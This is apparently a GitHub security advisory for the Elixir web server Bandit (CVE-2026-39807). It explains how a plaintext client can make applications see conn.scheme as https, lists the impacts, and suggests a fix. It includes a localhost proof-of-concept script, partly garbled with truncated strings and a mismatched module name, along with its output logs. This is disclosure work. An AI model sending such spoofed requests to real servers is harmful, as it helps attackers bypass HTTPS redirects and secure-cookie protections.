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Bandit trusts client-supplied scheme on plaintext connections

Moderate mtrudel published [GHSA-375f-4r2h-f99j](#) 10 hours ago

Package

 **bandit** (Erlang)

Affected versions

`>= 1.0.0 and < 1.11.0`

Patched versions

`1.11.0`

Description

Summary

Bandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal — `Plug.SSL`'s "already secure, don't redirect" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: [ff2f829](#)

Details

The bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target's scheme and the transport's `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{} . The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.`

Two attacker-controlled inputs reach this code path:

- HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. `GET https://victim/path HTTP/1.1 .`

- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: "https"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.

Suggested fix: when `secure?` is `true`, force the scheme to `"https"`; when `false`, force it to `"http"` — or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:

```
GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close
```



A correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

- `Plug.SSL` skipping its HTTP → HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.
- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.

Script and Logs



```

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application – even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Connection: close\r\n" <>
      "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://.../`.")
    :ok = :gen_tcp.send(sock, request)
  end
end

```

```

{:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
:gen_tcp.close(sock)

log("Server response:")
IO.puts(response)

cond do
  response =~ "conn.scheme=https" ->
    log("VULNERABLE – application sees conn.scheme = :https on a plaintext socket.")
    log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all

  response =~ "conn.scheme=http" ->
    log("Server forced scheme to :http – bug appears patched.")

  true ->
    log("Unexpected response shape.")
end
end

defp log(message), do: IO.puts("#{Time.utc_now() |> Time.truncate(:millisecond)}] #{m
end

SchemeSpoofer.run()

```

```

12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target
`https://.../`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=https

[10:53:25.316] VULNERABLE – application sees conn.scheme = :https on a plaintext
socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would
all trust this.

```



Severity

Moderate 6.3 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	Present
Privileges Required	None
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	Low
Integrity	Low
Availability	None
Subsequent System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None
Learn more about base metrics	

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2026-39807

Weaknesses

▶ CWE-807

Credits

-  **PJUlrich**
Reporter
-  **mtrudel**
Remediation developer
-  **maennchen**
Coordinator